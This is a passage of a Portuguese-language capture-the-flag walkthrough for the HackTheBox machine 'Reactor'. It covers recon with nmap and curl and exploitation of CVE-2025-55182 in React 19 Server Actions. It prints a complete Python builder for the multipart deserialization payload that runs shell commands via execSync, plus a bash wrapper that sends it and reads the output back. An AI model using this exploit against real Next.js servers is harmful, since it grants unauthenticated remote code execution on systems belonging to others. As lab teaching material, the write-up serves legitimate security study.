
Walkthrough completo da máquina Reactor da HTB — explore a CVE-2025-55182 para obter um shell e, em seguida, obtenha acesso root por meio de um debugger do Node.js exposto. Passo a passo com capturas de tela.
[!CAUTION] Aviso de spoiler. Este é um passo a passo completo, incluindo as flags. Se você quiser resolver a máquina sozinho, feche isto agora e volte quando estiver travado.
| Campo | Detalhes |
|---|---|
| Nome | Reactor |
| SO | Ubuntu 24.04 LTS (Noble) |
| Dificuldade | Média |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Portas | 22 (SSH), 3000 (Next.js) |
| Autor | sonnycroco |
Reactor é tematizado em torno de um painel de monitoramento de usina nuclear chamado ReactorWatch. A máquina gira inteiramente em torno de duas vulnerabilidades encadeadas: sem adivinhação, sem pistas falsas, sem brute force.
O caminho: uma build de pré-lançamento do React 19 expõe uma falha crítica de desserialização que concede execução remota de código sem autenticação com uma única requisição HTTP. A partir daí, uma porta de depuração do Node.js rodando como root dá acesso total ao sistema por meio de uma mensagem WebSocket.
Cadeia de ataque:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
A primeira coisa a fazer em qualquer máquina nova é descobrir o que está ouvindo. Um scan completo de portas com detecção de serviços para que nada passe despercebido.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Apenas duas portas. SSH é um beco sem saída nesta fase, já que ainda não temos credenciais. A porta 3000 é o alvo. O Nmap já nos diz que é Next.js 15.0.3, o que é uma boa pista.
Antes de sair atirando exploits em qualquer coisa, quero saber a versão exata de tudo que está rodando. Os cabeçalhos HTTP já revelaram o Next.js, mas a versão do React é o detalhe crítico. O React 19 ficou em pré-lançamento por um longo tempo e teve alguns problemas sérios antes do lançamento estável.
Buscando um dos chunks JavaScript do lado do cliente para verificar:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Esse rc na string de versão é a prova cabal. Esta é uma build candidata a lançamento do React 19, não a versão estável. As bases de dados de CVE confirmam: CVE-2025-55182 afeta exatamente essa build. CVSS 10.0.
Aproveitando, verifico os cabeçalhos em busca de pistas sobre middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Nenhum cabeçalho x-middleware-rewrite em lugar algum, o que significa que não há middleware Next.js instalado. Isso descarta o CVE-2025-29927 (o bypass de middleware), vale anotar para não perder tempo com ele.
O que sabemos:
experimental.serverActions habilitado19.0.0-rc, vulnerável ao CVE-2025-55182
Os Server Components do React 19 introduziram as Server Actions, que são funções do lado do servidor chamáveis pelo cliente via HTTP POST com um cabeçalho Next-Action. O parser de corpo multipart que processa essas requisições tem uma falha crítica: ele desserializa de forma insegura um tipo de referência chamado $1:__proto__:then.
Ao criar um corpo multipart que define _response._prefix para JavaScript arbitrário, um atacante faz com que esse código seja avaliado no servidor. A saída é então contrabandeada para fora por meio de uma exceção que o Next.js usa internamente para redirecionamentos (NEXT_REDIRECT) e termina codificada em URL dentro do cabeçalho de resposta x-action-redirect.
Qualquer POST para qualquer página com o cabeçalho Next-Action dispara isso. Sem verificação de autenticação, sem endpoint especial. Basta enviar o payload para / e você está dentro.
Um pequeno helper em Python que recebe um comando shell como entrada, monta o payload multipart e o escreve em disco para o curl enviar:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Embrulhando tudo em uma função de shell para dar a sensação de um pseudo-shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
A troca HTTP crua. A saída do comando está bem ali no cabeçalho de redirecionamento: